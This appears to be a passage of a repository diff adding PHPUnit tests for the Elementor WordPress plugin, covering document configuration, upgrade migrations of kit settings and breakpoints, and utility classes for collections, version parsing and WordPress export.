$this->assertEquals( $expected, $adminbar_settings['elementor_edit_page']['children'][0]['href'] );
}
}

View File

@@ -0,0 +1,30 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core;
use Elementor\Plugin;
use Elementor\Core\Base\Document;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Documents_Manager extends Elementor_Test_Base {
public function test_ajax_get_document_config__set_id_build_with_elementor() {
// Arrange
$this->act_as_admin();
Plugin::$instance->editor->set_edit_mode( true );
$post = $this->factory()->create_and_get_custom_post( [ 'type' => 'post' ] );
// Act
Plugin::$instance->documents->ajax_get_document_config( [ 'id' => $post->ID ] );
// Assert
$this->assertEquals(
'builder',
get_post_meta( $post->ID, Document::BUILT_WITH_ELEMENTOR_META_KEY, true )
);
}
}

View File

@@ -0,0 +1,38 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Upgrades;
use Elementor\Core\Upgrade\Manager as UpgradeManager;
use Elementor\Core\Upgrade\Updater;
class Manager extends UpgradeManager {
/**
* A callback for upgrade callbacks list.
*
* @param $updater Updater
*
* @return false - didn't should run again.
*/
static public function upgrade_callback( $updater ) {
return false;
}
/**
* Make the protected method public.
*/
public function public_start_run() {
$this->start_run();
}
/***
* Upgrade callbacks.
*
* @return array|array[]
*/
public function get_upgrade_callbacks() {
return [
[ __CLASS__, 'upgrade_callback' ],
];
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Upgrades;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
class Test_Manager extends Elementor_Test_Base {
public function test_start_run() {
$manager = new Manager();
// Prepare the upgrades manager
$manager->public_start_run();
// Trigger the run.
$manager->get_task_runner()->handle_cron_healthcheck();
// Assert via extract the created log entries.
$raw_log_rows = Plugin::$instance->logger->get_logger()->get_log();
$messages = [];
foreach ( $raw_log_rows as $row ) {
$messages[] = $row->message;
}
$this->assertContains( 'Elementor data updater process has been queued.', $messages );
$this->assertContains( 'Elementor/Upgrades - upgrade_callback Start ', $messages );
$this->assertContains( 'Elementor/Upgrades - upgrade_callback Finished', $messages );
$this->assertContains( 'Elementor data updater process has been completed.', $messages );
}
}

View File

@@ -0,0 +1,519 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Upgrades;
use Elementor\Core\Base\Document;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
use Elementor\Core\Settings\Manager as Settings_Manager;
use Elementor\Core\Upgrade\Upgrades;
use Elementor\Modules\Usage\Module;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Tests\Phpunit\Test_Upgrades_Trait;
class Test_Upgrades extends Elementor_Test_Base {
use Test_Upgrades_Trait;
public function test_v_2_7_0_rename_document_types_to_wp() {
$this->markTestSkipped();
// Create a post with post types (post, page).
$document_post = $this->create_post( 'post' );
$document_page = $this->create_post( 'page' );
// Assert meta key elementor_template_type = (wp-post, wp-page).
$post_meta = $document_post->get_meta( Document::TYPE_META_KEY );
$page_meta = $document_page->get_meta( Document::TYPE_META_KEY );
$this->assertEquals( 'wp-post', $post_meta );
$this->assertEquals( 'wp-page', $page_meta );
// Update meta without wp prefix.
$document_post->update_meta( Document::TYPE_META_KEY, 'post' );
$document_page->update_meta( Document::TYPE_META_KEY, 'page' );
// Ensure the database has been updated.
$post_meta = $document_post->get_meta( Document::TYPE_META_KEY );
$page_meta = $document_page->get_meta( Document::TYPE_META_KEY );
$this->assertEquals( 'post', $post_meta );
$this->assertEquals( 'page', $page_meta );
wp_cache_flush();
// Run upgrade.
$updater = $this->create_updater();
Upgrades::_v_2_7_0_rename_document_types_to_wp( $updater );
// Assert again (wp_post, wp_page).
$post_meta = $document_post->get_meta( Document::TYPE_META_KEY );
$page_meta = $document_page->get_meta( Document::TYPE_META_KEY );
$this->assertEquals( 'wp-post', $post_meta );
$this->assertEquals( 'wp-page', $page_meta );
}
public function test_v_2_7_1_remove_old_usage_data() {
$old_usage_option_name = 'elementor_elements_usage';
$old_usage_meta_key = '_elementor_elements_usage';
add_option( $old_usage_option_name, 'test' );
$document = $this->create_post();
$document->update_main_meta( $old_usage_meta_key, 'test' );
$this->assertEquals( 'test', get_option( $old_usage_option_name ) );
$this->assertEquals( 'test', $document->get_main_meta( $old_usage_meta_key ) );
// Run upgrade.
Upgrades::_v_2_7_1_remove_old_usage_data();
$this->assertNotEquals( 'test', get_option( $old_usage_option_name ) );
$this->assertNotEquals( 'test', $document->get_main_meta( $old_usage_meta_key ) );
}
public function test_v_2_7_1_recalc_usage_data() {
$posts_count = 10;
$expected_iterations = (int) ceil( $posts_count / $this->query_limit );
$upgrade_iterations = 1;
// Create posts.
for ( $i = 0; $i < $posts_count; $i++ ) {
$this->create_document_with_data();
}
$updater = $this->create_updater();
$updater->set_limit( $this->query_limit );
// Run upgrade.
while ( Upgrades::_v_2_7_1_recalc_usage_data( $updater ) ) {
$upgrade_iterations++;
$updater->set_current_item( [
'iterate_num' => $upgrade_iterations,
] );
// Avoid infinity loop.
if ( $upgrade_iterations > $posts_count ) {
break;
}
}
$this->assertEquals( $expected_iterations, $upgrade_iterations );
/** @var Module $module */
$module = Plugin::$instance->modules_manager->get_modules( 'usage' );
$usage = get_option( $module::OPTION_NAME, [] );
// Check there usage.
$this->assertEquals( $posts_count, $usage['wp-post']['button']['count'] );
}
public function test_v_3_0_0_move_general_settings_to_kit() {
$updater = $this->create_updater();
// Prepare.
$generic_font = 'some-generic-font';
$lightbox_color = '#e1e3ef';
$container_width = '1000';
$space_between_widgets = '0'; // Ensure that value 0 is also upgraded (#12298).
$viewport_lg = '900';
$viewport_md = '800';
$general_settings = [
'default_generic_fonts' => $generic_font,
'lightbox_color' => $lightbox_color,
'container_width' => $container_width,
];
update_option( '_elementor_general_settings', $general_settings );
// Take the `space_between_widgets` from the option due to a bug on E < 3.0.0 that the value `0` is stored separated.
update_option( 'elementor_space_between_widgets', $space_between_widgets );
update_option( 'elementor_viewport_lg', $viewport_lg );
update_option( 'elementor_viewport_md', $viewport_md );
$user_id = $this->factory()->create_and_get_administrator_user()->ID;
wp_set_current_user( $user_id );
$kit_id = Plugin::$instance->kits_manager->get_active_id();
$kit = Plugin::$instance->documents->get( $kit_id );
// Create revisions.
$expected_iterations = (int) ceil( $this->revisions_count / $this->query_limit );
$upgrade_iterations = 1;
for ( $i = 0; $i < $this->revisions_count; $i++ ) {
$kit->save( [
'elements' => [],
] );
}
// Ensure the testable values are not default values of the kit.
$kit_generic_font_before = $kit->get_settings( 'default_generic_fonts' );
$kit_lightbox_color_before = $kit->get_settings( 'lightbox_color' );
$kit_container_width_before = $kit->get_settings( 'container_width' );
$kit_space_between_widgets_before = $kit->get_settings( 'space_between_widgets' );
$kit_viewport_md_before = $kit->get_settings( 'viewport_md' );
$this->assertNotEquals( $generic_font, $kit_generic_font_before );
$this->assertNotEquals( $lightbox_color, $kit_lightbox_color_before );
$this->assertNotEquals( $container_width, $kit_container_width_before );
$this->assertNotEquals( $space_between_widgets, $kit_space_between_widgets_before );
$this->assertNotEquals( $viewport_md, $kit_viewport_md_before );
$updater->set_limit( $this->query_limit );
// Run upgrade.
while ( Upgrades::_v_3_0_0_move_general_settings_to_kit( $updater ) ) {
$upgrade_iterations++;
$updater->set_current_item( [
'iterate_num' => $upgrade_iterations,
] );
// Avoid infinity loop.
if ( $upgrade_iterations > $this->revisions_count ) {
break;
}
}
// Assert iterations.
$this->assertEquals( $expected_iterations, $upgrade_iterations );
// Refresh kit.
$kit = Plugin::$instance->documents->get( $kit_id, false );
// Assert kit upgraded.
$kit_generic_font_after = $kit->get_settings( 'default_generic_fonts' );
$kit_lightbox_color_after = $kit->get_settings( 'lightbox_color' );
$kit_container_width_after = $kit->get_settings( 'container_width' );
$kit_space_between_widgets_after = $kit->get_settings( 'space_between_widgets' );
$kit_viewport_md_after = $kit->get_settings( 'viewport_md' );
$this->assertEquals( $generic_font, $kit_generic_font_after );
$this->assertEquals( $lightbox_color, $kit_lightbox_color_after );
$this->assertEquals( $container_width, $kit_container_width_after['size'] );
$this->assertEquals( $space_between_widgets, $kit_space_between_widgets_after['size'] );
$this->assertEquals( $viewport_md, $kit_viewport_md_after );
// Assert revisions upgraded.
$revisions_ids = wp_get_post_revisions( $kit_id, [
'fields' => 'ids',
] );
foreach ( $revisions_ids as $revision_id ) {
$revision = Plugin::$instance->documents->get( $revision_id, false );
$revision_generic_font_after = $revision->get_settings( 'default_generic_fonts' );
$revision_lightbox_color_after = $revision->get_settings( 'lightbox_color' );
$this->assertEquals( $generic_font, $revision_generic_font_after );
$this->assertEquals( $lightbox_color, $revision_lightbox_color_after );
}
}
public function test_v_3_0_0_move_saved_colors_to_kit() {
$updater = $this->create_updater();
// Prepare.
$scheme_obj = Plugin::$instance->schemes_manager->get_scheme( 'color-picker' );
$user_id = $this->factory()->create_and_get_administrator_user()->ID;
wp_set_current_user( $user_id );
$kit_id = Plugin::$instance->kits_manager->get_active_id();
$kit = Plugin::$instance->documents->get( $kit_id );
// Create revisions.
$expected_iterations = (int) ceil( $this->revisions_count / $this->query_limit );
$upgrade_iterations = 1;
for ( $i = 0; $i < $this->revisions_count; $i++ ) {
$kit->save( [
'elements' => [],
] );
}
$updater->set_limit( $this->query_limit );
// Run upgrade.
while ( Upgrades::_v_3_0_0_move_saved_colors_to_kit( $updater ) ) {
$upgrade_iterations++;
$updater->set_current_item( [
'iterate_num' => $upgrade_iterations,
] );
// Avoid infinity loop.
if ( $upgrade_iterations > $this->revisions_count ) {
break;
}
}
// Assert iterations.
$this->assertEquals( $expected_iterations, $upgrade_iterations );
// Refresh kit.
$kit = Plugin::$instance->documents->get( $kit_id, false );
// Assert kit upgraded.
$saved_colors = $scheme_obj->get_scheme();
$kit_custom_colors = $kit->get_settings( 'custom_colors' );
// First 4 saved colors are actually the 4 system colors that shouldn't be saved as custom colors.
$this->assertEquals( strtoupper( $saved_colors[5]['value'] ), $kit_custom_colors[0]['color'] );
$this->assertEquals( strtoupper( $saved_colors[6]['value'] ), $kit_custom_colors[1]['color'] );
$this->assertEquals( strtoupper( $saved_colors[7]['value'] ), $kit_custom_colors[2]['color'] );
$this->assertEquals( strtoupper( $saved_colors[8]['value'] ), $kit_custom_colors[3]['color'] );
// Assert revisions upgraded.
$revisions_ids = wp_get_post_revisions( $kit_id, [
'fields' => 'ids',
] );
foreach ( $revisions_ids as $revision_id ) {
$revision = Plugin::$instance->documents->get( $revision_id, false );
$revision_system_colors = $revision->get_settings( 'custom_colors' );
// First 4 saved colors are actually the 4 system colors that shouldn't be saved as custom colors.
$this->assertEquals( strtoupper( $saved_colors[5]['value'] ), $revision_system_colors[0]['color'] );
$this->assertEquals( strtoupper( $saved_colors[6]['value'] ), $revision_system_colors[1]['color'] );
$this->assertEquals( strtoupper( $saved_colors[7]['value'] ), $revision_system_colors[2]['color'] );
$this->assertEquals( strtoupper( $saved_colors[8]['value'] ), $revision_system_colors[3]['color'] );
}
}
public function test_v_3_0_0_move_default_colors_to_kit() {
$updater = $this->create_updater();
// Prepare.
$scheme_obj = Plugin::$instance->schemes_manager->get_scheme( 'color' );
$user_id = $this->factory()->create_and_get_administrator_user()->ID;
wp_set_current_user( $user_id );
$kit_id = Plugin::$instance->kits_manager->get_active_id();
$kit = Plugin::$instance->documents->get( $kit_id );
// Create revisions.
$expected_iterations = (int) ceil( $this->revisions_count / $this->query_limit );
$upgrade_iterations = 1;
for ( $i = 0; $i < $this->revisions_count; $i++ ) {
$kit->save( [
'elements' => [],
] );
}
$updater->set_limit( $this->query_limit );
// Run upgrade.
while ( Upgrades::_v_3_0_0_move_default_colors_to_kit( $updater ) ) {
$upgrade_iterations++;
$updater->set_current_item( [
'iterate_num' => $upgrade_iterations,
] );
// Avoid infinity loop.
if ( $upgrade_iterations > $this->revisions_count ) {
break;
}
}
// Assert iterations.
$this->assertEquals( $expected_iterations, $upgrade_iterations );
// Refresh kit.
$kit = Plugin::$instance->documents->get( $kit_id, false );
// Assert kit upgraded.
$default_colors = $scheme_obj->get_scheme();
$kit_system_colors = $kit->get_settings( 'system_colors' );
$this->assertEquals( 'primary', $kit_system_colors[0]['_id'] );
$this->assertEquals( strtoupper( $default_colors[1]['value'] ), $kit_system_colors[0]['color'] );
$this->assertEquals( strtoupper( $default_colors[2]['value'] ), $kit_system_colors[1]['color'] );
$this->assertEquals( strtoupper( $default_colors[3]['value'] ), $kit_system_colors[2]['color'] );
$this->assertEquals( strtoupper( $default_colors[4]['value'] ), $kit_system_colors[3]['color'] );
// Assert revisions upgraded.
$revisions_ids = wp_get_post_revisions( $kit_id, [
'fields' => 'ids',
] );
foreach ( $revisions_ids as $revision_id ) {
$revision = Plugin::$instance->documents->get( $revision_id, false );
$revision_system_colors = $revision->get_settings( 'system_colors' );
$this->assertEquals( strtoupper( $default_colors[1]['value'] ), $revision_system_colors[0]['color'] );
$this->assertEquals( strtoupper( $default_colors[2]['value'] ), $revision_system_colors[1]['color'] );
$this->assertEquals( strtoupper( $default_colors[3]['value'] ), $revision_system_colors[2]['color'] );
$this->assertEquals( strtoupper( $default_colors[4]['value'] ), $revision_system_colors[3]['color'] );
}
}
public function test_v_3_0_0_move_default_typography_to_kit() {
$updater = $this->create_updater();
// Prepare.
$scheme_obj = Plugin::$instance->schemes_manager->get_scheme( 'typography' );
$user_id = $this->factory()->create_and_get_administrator_user()->ID;
wp_set_current_user( $user_id );
$kit_id = Plugin::$instance->kits_manager->get_active_id();
$kit = Plugin::$instance->documents->get( $kit_id );
// Create revisions.
$expected_iterations = (int) ceil( $this->revisions_count / $this->query_limit );
$upgrade_iterations = 1;
for ( $i = 0; $i < $this->revisions_count; $i++ ) {
$kit->save( [
'elements' => [],
] );
}
$updater->set_limit( $this->query_limit );
// Run upgrade.
while ( Upgrades::_v_3_0_0_move_default_typography_to_kit( $updater ) ) {
$upgrade_iterations++;
$updater->set_current_item( [
'iterate_num' => $upgrade_iterations,
] );
// Avoid infinity loop.
if ( $upgrade_iterations > $this->revisions_count ) {
break;
}
}
// Assert iterations.
$this->assertEquals( $expected_iterations, $upgrade_iterations );
// Refresh kit.
$kit = Plugin::$instance->documents->get( $kit_id, false );
// Assert kit upgraded.
$saved_typography = $scheme_obj->get_scheme();
$kit_system_typography = $kit->get_settings( 'system_typography' );
$this->assertEquals( 'primary', $kit_system_typography[0]['_id'] );
$this->assertEquals( $saved_typography[1]['value']['font_family'], $kit_system_typography[0]['typography_font_family'] );
$this->assertEquals( $saved_typography[2]['value']['font_family'], $kit_system_typography[1]['typography_font_family'] );
$this->assertEquals( $saved_typography[3]['value']['font_family'], $kit_system_typography[2]['typography_font_family'] );
$this->assertEquals( $saved_typography[4]['value']['font_family'], $kit_system_typography[3]['typography_font_family'] );
// Assert revisions upgraded.
$revisions_ids = wp_get_post_revisions( $kit_id, [
'fields' => 'ids',
] );
foreach ( $revisions_ids as $revision_id ) {
$revision = Plugin::$instance->documents->get( $revision_id, false );
$revision_saved_typography = $revision->get_settings( 'system_typography' );
$this->assertEquals( $saved_typography[1]['value']['font_family'], $revision_saved_typography[0]['typography_font_family'] );
$this->assertEquals( $saved_typography[2]['value']['font_family'], $revision_saved_typography[1]['typography_font_family'] );
$this->assertEquals( $saved_typography[3]['value']['font_family'], $revision_saved_typography[2]['typography_font_family'] );
$this->assertEquals( $saved_typography[4]['value']['font_family'], $revision_saved_typography[3]['typography_font_family'] );
}
}
public function test_v_3_1_0_move_optimized_dom_output_to_experiments() {
add_option( 'elementor_optimized_dom_output', 'enabled' );
$is_old_feature_active = Plugin::$instance->experiments->is_feature_active( 'e_dom_optimization' );
Upgrades::v_3_1_0_move_optimized_dom_output_to_experiments();
$experiments = new Experiments_Manager();
$this->assertFalse( $is_old_feature_active );
$this->assertTrue( $experiments->is_feature_active( 'e_dom_optimization' ) );
}
public function test_v_3_2_0_migrate_breakpoints_to_new_system() {
$updater = $this->create_updater();
// Set admin user so the kit will be able to be edited.
$user_id = $this->factory()->create_and_get_administrator_user()->ID;
wp_set_current_user( $user_id );
$kit_id = Plugin::$instance->kits_manager->get_active_id();
$kit = Plugin::$instance->documents->get( $kit_id );
// Set a custom value for 'viewport_md' before running the upgrade, to test the migration in case the user has
// a saved custom breakpoint value.
$kit_settings = $kit->get_settings();
$kit_settings['viewport_md'] = 600;
$page_settings_manager = Settings_Manager::get_settings_managers( 'page' );
$page_settings_manager->save_settings( $kit_settings, $kit_id );
// Refresh kit after update.
$kit = Plugin::$instance->documents->get( $kit_id, false );
// Create revisions.
$expected_iterations = (int) ceil( $this->revisions_count / $this->query_limit );
$upgrade_iterations = 1;
for ( $i = 0; $i < $this->revisions_count; $i++ ) {
$kit->save( [
'elements' => [],
] );
}
$updater->set_limit( $this->query_limit );
// Run upgrade.
while ( Upgrades::_v_3_2_0_migrate_breakpoints_to_new_system( $updater ) ) {
$upgrade_iterations++;
$updater->set_current_item( [
'iterate_num' => $upgrade_iterations,
] );
// Avoid infinity loop.
if ( $upgrade_iterations > $this->revisions_count ) {
break;
}
}
// Assert iterations.
$this->assertEquals( $expected_iterations, $upgrade_iterations );
// Refresh kit.
$kit = Plugin::$instance->documents->get( $kit_id, false );
$kit_settings = $kit->get_settings();
$this->run_breakpoint_assertions( $kit_settings );
// Assert revisions upgraded.
$revisions_ids = wp_get_post_revisions( $kit_id, [
'fields' => 'ids',
] );
foreach ( $revisions_ids as $revision_id ) {
$revision = Plugin::$instance->documents->get( $revision_id, false );
$revision_settings = $revision->get_settings();
$this->run_breakpoint_assertions( $revision_settings );
}
}
private function run_breakpoint_assertions( $settings ) {
// Mobile.
$this->assertEquals( $settings['viewport_md'] - 1, $settings['viewport_mobile'] );
// Tablet - Check the case where there is no custom breakpoint saved, so the value is empty.
$expected_value = '' !== $settings['viewport_lg'] ? $settings['viewport_lg'] - 1 : $settings['viewport_lg'];
$actual_value = $settings['viewport_tablet'];
$this->assertEquals( $expected_value, $actual_value );
}
}

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,265 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Utils;
use Elementor\Core\Utils\Collection;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Collection extends Elementor_Test_Base {
public function test_all() {
// Arrange
$collection = new Collection( $array = [ 'a' => 'a', 'b' => 'b' ] );
// Act
$result = $collection->all();
// Assert
$this->assertEqualSets( $array, $result );
}
public function test_values() {
// Arrange
$collection = new Collection( [ 'a' => 'a', 'b' => 'b' ] );
// Act
$result = $collection->all();
// Assert
$this->assertEqualSets( [ 'a', 'b' ], $result );
}
public function test_is_empty() {
// Arrange
$collection = new Collection( [] );
$collection2 = new Collection( [ '1' ] );
// Act
$result = $collection->is_empty();
$result2 = $collection2->is_empty();
// Assert
$this->assertTrue( $result );
$this->assertFalse( $result2 );
}
public function test_keys() {
// Arrange
$collection = new Collection( $array = [ 'a' => '1', 'b' => '2' ] );
// Act
$result = $collection->keys();
// Assert
$this->assertEqualSets( [ 'a', 'b' ], $result );
}
public function test_except() {
// Arrange
$collection = new Collection( $array = [ 'a' => '1', 'b' => '2', 'c' => '3' ] );
// Act
$result = $collection->except( [ 'a', 'c' ] );
// Assert
$this->assertEqualSets( [ 'b' => '2' ], $result->all() );
}
public function only() {
// Arrange
$collection = new Collection( $array = [ 'a' => '1', 'b' => '2', 'c' => '3' ] );
// Act
$result = $collection->except( [ 'a', 'c' ] );
// Assert
$this->assertEqualSets( [ 'a' => '1', 'c' => '3' ], $result->all() );
}
public function test_map() {
// Arrange
$collection = new Collection( $array = [ 'a' => '1', 'b' => '2' ] );
// Act
$result = $collection->map( function ( $value, $key ) {
return $value . $key;
} );
// Assert
$this->assertEqualSets( [ 'a' => '1a', 'b' => '2b' ], $result->all() );
}
public function test_map_with_keys() {
// Arrange
$collection = new Collection( $array = [ 'a' => '1', 'b' => '2' ] );
// Act
$result = $collection->map_with_keys( function ( $value, $key ) {
return [
$value => $key,
$key . $key => $value . $value
];
} );
// Assert
$this->assertEqualSets( [ '1' => 'a', 'aa' => '11', '2' => 'b', 'bb' => '22' ], $result->all() );
}
public function test_merge() {
// Arrange
$collection = new Collection( [ 'a' => '1', 'b' => '2' ] );
$collection2 = new Collection( [ 'c' => '3' ] );
// Act
$result = $collection->merge( [ 'c' => '3' ] );
$result2 = $collection->merge( $collection2 );
// Assert
$this->assertEqualSets( [ 'a' => '1', 'b' => '2', 'c' => '3' ], $result->all() );
$this->assertEqualSets( [ 'a' => '1', 'b' => '2', 'c' => '3' ], $result2->all() );
}
public function test_merge_recursive() {
// Arrange
$collection = new Collection( [ 'a' => [ '1', '2' ], 'b' => [ '3' ] ] );
$collection2 = new Collection( [ 'b' => [ '4', '5' ], 'c' => [ '6' ] ] );
// Act
$result = $collection->merge_recursive( $collection2->all() );
$result2 = $collection2->merge_recursive( $collection2 );
// Assert
$this->assertEqualSets( [ 'a' => [ '1', '2' ], 'b' => [ '3', '4', '5' ], 'c' => [ '6' ] ], $result->all() );
$this->assertEqualSets( [ 'a' => [ '1', '2' ], 'b' => [ '3', '4', '5' ], 'c' => [ '6' ] ], $result->all() );
}
public function test_implode() {
// Arrange
$collection = new Collection( [ '1', '2', '3' ] );
// Act
$result = $collection->implode(',');
// Assert
$this->assertEquals( '1,2,3', $result );
}
public function test_filter() {
// Arrange
$collection = new Collection( [ 'a' => '1', 'b' => '2', '', null ] );
$collection2 = new Collection( [ 'a' => '1', 'b' => '2', 'c' => '3' ] );
// Act
$result = $collection->filter();
$result2 = $collection2->filter( function ( $value, $key ) {
return $value !== '3' && $key !== 'a';
} );
// Assert
$this->assertEqualSets( [ 'a' => '1', 'b' => '2' ], $result->all() );
$this->assertEqualSets( [ 'b' => '2' ], $result2->all() );
}
public function test_pluck() {
// Arrange
$collection = new Collection( [
[ 'a' => 1, 'b' => 2 ],
[ 'a' => 3, 'b' => 4 ]
] );
$collection2 = new Collection( [
(object) [ 'a' => 1, 'b' => 2 ],
(object) [ 'a' => 3, 'b' => 4 ],
] );
// Act
$result = $collection->pluck('a');
$result2 = $collection2->pluck('b');
// Assert
$this->assertEqualSets( [ 1, 3 ], $result->all() );
$this->assertEqualSets( [ 2, 4 ], $result2->all() );
}
public function test_group_by() {
// Arrange
$collection = new Collection( [
[ 'a' => 1, 'b' => 2 ],
[ 'a' => 1, 'b' => 3 ],
[ 'a' => 3, 'b' => 2 ],
] );
$collection2 = new Collection( [
(object) [ 'a' => 1, 'b' => 2 ],
(object) [ 'a' => 1, 'b' => 3 ],
(object) [ 'a' => 3, 'b' => 2 ],
] );
// Assert
$result = $collection->group_by( 'a' );
$result2 = $collection2->group_by( 'b' );
// Assert
$this->assertEqualSets( [
1 => [
[ 'a' => 1, 'b' => 2 ],
[ 'a' => 1, 'b' => 3 ]
],
3 => [
[ 'a' => 3, 'b' => 2 ]
]
], $result->all() );
$this->assertEqualSets( [
2 => [
(object) [ 'a' => 1, 'b' => 2 ],
(object) [ 'a' => 3, 'b' => 2 ],
],
3 => [
(object) [ 'a' => 1, 'b' => 3 ],
]
], $result2->all() );
}
public function test_get() {
// Arrange
$collection = new Collection( ['a' => 1, 'b' => 2] );
// Act
$result = $collection->get( 'a' );
$result2 = $collection->get( 'c' );
$result3 = $collection->get( 'c', 1 );
// Assert
$this->assertEquals( 1, $result );
$this->assertEquals( null, $result2 );
$this->assertEquals( 1, $result3 );
}
public function test_unique() {
// Arrange
$collection = new Collection( ['a', 'a', 'b', 'c', 'c'] );
// Act
$result = $collection->unique();
// Assert
$this->assertEqualSets( [ 'a', 'b', 'c' ], $result->all() );
}
public function test_first() {
// Arrange
$collection = new Collection( [ 20 => 'c', 21 => 'a', 30 => 'b' ] );
$collection2 = new Collection( [] );
// Act
$result = $collection->first();
$result2 = $collection2->first();
$result3 = $collection2->first( 'a' );
// Assert
$this->assertEquals( 'c', $result );
$this->assertEquals( null, $result2 );
$this->assertEquals( 'a', $result3 );
}
}

View File

@@ -0,0 +1,102 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Utils;
use Elementor\Core\Utils\Version;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Version extends Elementor_Test_Base {
/** @dataProvider create_version_data_provider */
public function test_create_from_string( $version, $expected ) {
// Act
$version = Version::create_from_string( $version );
// Assert
$this->assertEquals( $expected[0], $version->major1 );
$this->assertEquals( $expected[1], $version->major2 );
$this->assertEquals( $expected[2], $version->patch );
$this->assertEquals( $expected[3], $version->stage );
}
public function create_version_data_provider() {
return [
[ '3.1.1-dev1', [ '3', '1', '1', 'dev1' ] ],
[ '3.1.1', [ '3', '1', '1', null ] ],
[ '1.0.1-beta', [ '1', '0', '1', 'beta' ] ],
[ '1.0', [ '1', '0', '0', null ] ],
[ '3', [ '3', '0', '0', null ] ],
];
}
public function test_create_from_string__should_throw_exception_if_send_an_invalid_version() {
// Assert (expect)
$this->expectException( \Exception::class );
// Act
$version = Version::create_from_string( 'a.b' );
}
/** @dataProvider is_valid_data_provider */
public function test_is_valid_version( $version, $is_valid ) {
// Act
$result = Version::is_valid_version( $version );
// Assert
$this->assertEquals( $is_valid, $result );
}
public function is_valid_data_provider() {
return [
// Valid versions.
[ '3.1.1-dev1', true ],
[ '3.1.1', true ],
[ '3.1', true ],
[ '3', true ],
[ '0.0.0', true ],
// Invalid versions.
[ 'a', false ],
[ 'a.v', false ],
[ '1.a.0-dev', false ],
[ '1.0.a', false ],
[ 'text', false ],
];
}
/** @dataProvider compare_versions_data_provider__only_major2_checks */
public function test_compare($operator, $version2, $part, $expected) {
// Arrange
$version = Version::create_from_string( '2.0.5' );
// Act
$result = $version->compare( $operator, $version2, $part );
// Assert
$this->assertEquals( $expected, $result );
}
public function compare_versions_data_provider__only_major2_checks() {
return [
[ '=', '2.0.0', Version::PART_MAJOR_2, true ],
[ '=', '2.0.3', Version::PART_MAJOR_2, true ],
[ '=', '2.0.7', Version::PART_MAJOR_2, true ],
[ '=', '2.1.0', Version::PART_MAJOR_2, false ],
[ '=', '1.9.0', Version::PART_MAJOR_2, false ],
[ '=', '3.0.0', Version::PART_MAJOR_2, false ],
[ '<', '2.1.0', Version::PART_MAJOR_2, true ],
[ '<', '2.1.3', Version::PART_MAJOR_2, true ],
[ '<', '2.0.0', Version::PART_MAJOR_2, false ],
[ '<', '2.0.5', Version::PART_MAJOR_2, false ],
[ '>', '1.9.0', Version::PART_MAJOR_2, true ],
[ '>', '1.12.0', Version::PART_MAJOR_2, true ],
[ '>', '1.12.12', Version::PART_MAJOR_2, true ],
[ '>', '2.0.0', Version::PART_MAJOR_2, false ],
[ '>', '2.0.5', Version::PART_MAJOR_2, false ],
];
}
}

View File

@@ -0,0 +1,145 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Utils;
use Elementor\Core\Utils\ImportExport\WP_Exporter;
use Elementor\Testing\Elementor_Test_Base;
class Test_WP_Exporter extends Elementor_Test_Base {
/**
* @var array
*/
private $expected_error_list;
/**
* @var bool|
*/
private $expected_errors_found;
protected function expected_error( $error_messages ) {
$this->expected_error_list = (array) $error_messages;
set_error_handler( [ &$this, 'expected_errors_handler' ] );
}
public function expected_errors_handler( $errno, $errstr ) {
foreach ( $this->expected_error_list as $expect ) {
if ( strpos( $errstr, $expect ) !== false ) {
$this->expected_errors_found = true;
return true;
}
}
return false;
}
private function remove_space_eols_and_tabulation( $content ) {
return preg_replace('/[\s\t\n]/', '', $content);
}
public function test_run__ensure_match_to_export_wp() {
// Arrange.
$replace_pub_date_timestamp = function ( $xml_data ) {
// Since the pubDate depends on time they cannot be always the same.
return preg_replace( '#(<pubDate.*?>).*?(</pubDate>)#', '<pubDate>same-for-tests</pubDate>', $xml_data );
};
require ABSPATH . 'wp-admin/includes/export.php';
$this->expected_error( 'Cannot modify header information' );
ob_start();
export_wp();
$original_wp_export_output = ob_get_clean();
$clean_wp_export_output = $this->remove_space_eols_and_tabulation( $original_wp_export_output );
// Act.
$elementor_export_output = ( new WP_Exporter() )->run();
$clean_elementor_export_output = $this->remove_space_eols_and_tabulation( $elementor_export_output );
$clean_wp_export_output = $replace_pub_date_timestamp( $clean_wp_export_output );
$clean_elementor_export_output = $replace_pub_date_timestamp( $clean_elementor_export_output );
// Assert.
$this->assertEquals( $clean_wp_export_output, $clean_elementor_export_output );
}
// TODO: To be sure it have the same data in all cases, its require to insert the data for all the cases.
//public function test_run__ensure_match_to_export_wp_in_all_content_cases() {
//
//}
public function test_run__ensure_limit_and_offset() {
// Arrange.
$limit_expected = 2;
$offset_expected = 3;
$total_items_expected = $limit_expected * $offset_expected;
$total_items_actual = 0;
$content_per_offset_actual = [];
for ( $i = 0; $i < $total_items_expected; $i++ ) {
self::factory()->create_post();
}
// Act.
for ( $i = 0; $i < $offset_expected; $i++ ) {
$exporter = new WP_Exporter( [
'limit' => $limit_expected,
'offset' => $limit_expected * $i,
] );
$content_per_offset_actual[ $i ] = $exporter->run();
}
// Assert.
for ( $i = 0; $i < $offset_expected; $i++ ) {
$actual_items_per_offset = substr_count( $content_per_offset_actual[ $i ], '<item>' );
$total_items_actual += $actual_items_per_offset;
$this->assertEquals( $limit_expected, $actual_items_per_offset );
}
$this->assertEquals( $total_items_expected, $total_items_actual );
}
public function test_run__ensure_with_meta_key() {
// Arrange.
$meta_key = 'some_key_that_export_will_seek';
$document = self::factory()->create_post();
$document->update_meta( $meta_key, true );
$exporter = new WP_Exporter( [
'meta_key' => $meta_key,
] );
// Act.
$content = $exporter->run();
$actual_items = substr_count( $content, '<item>' );
// Assert.
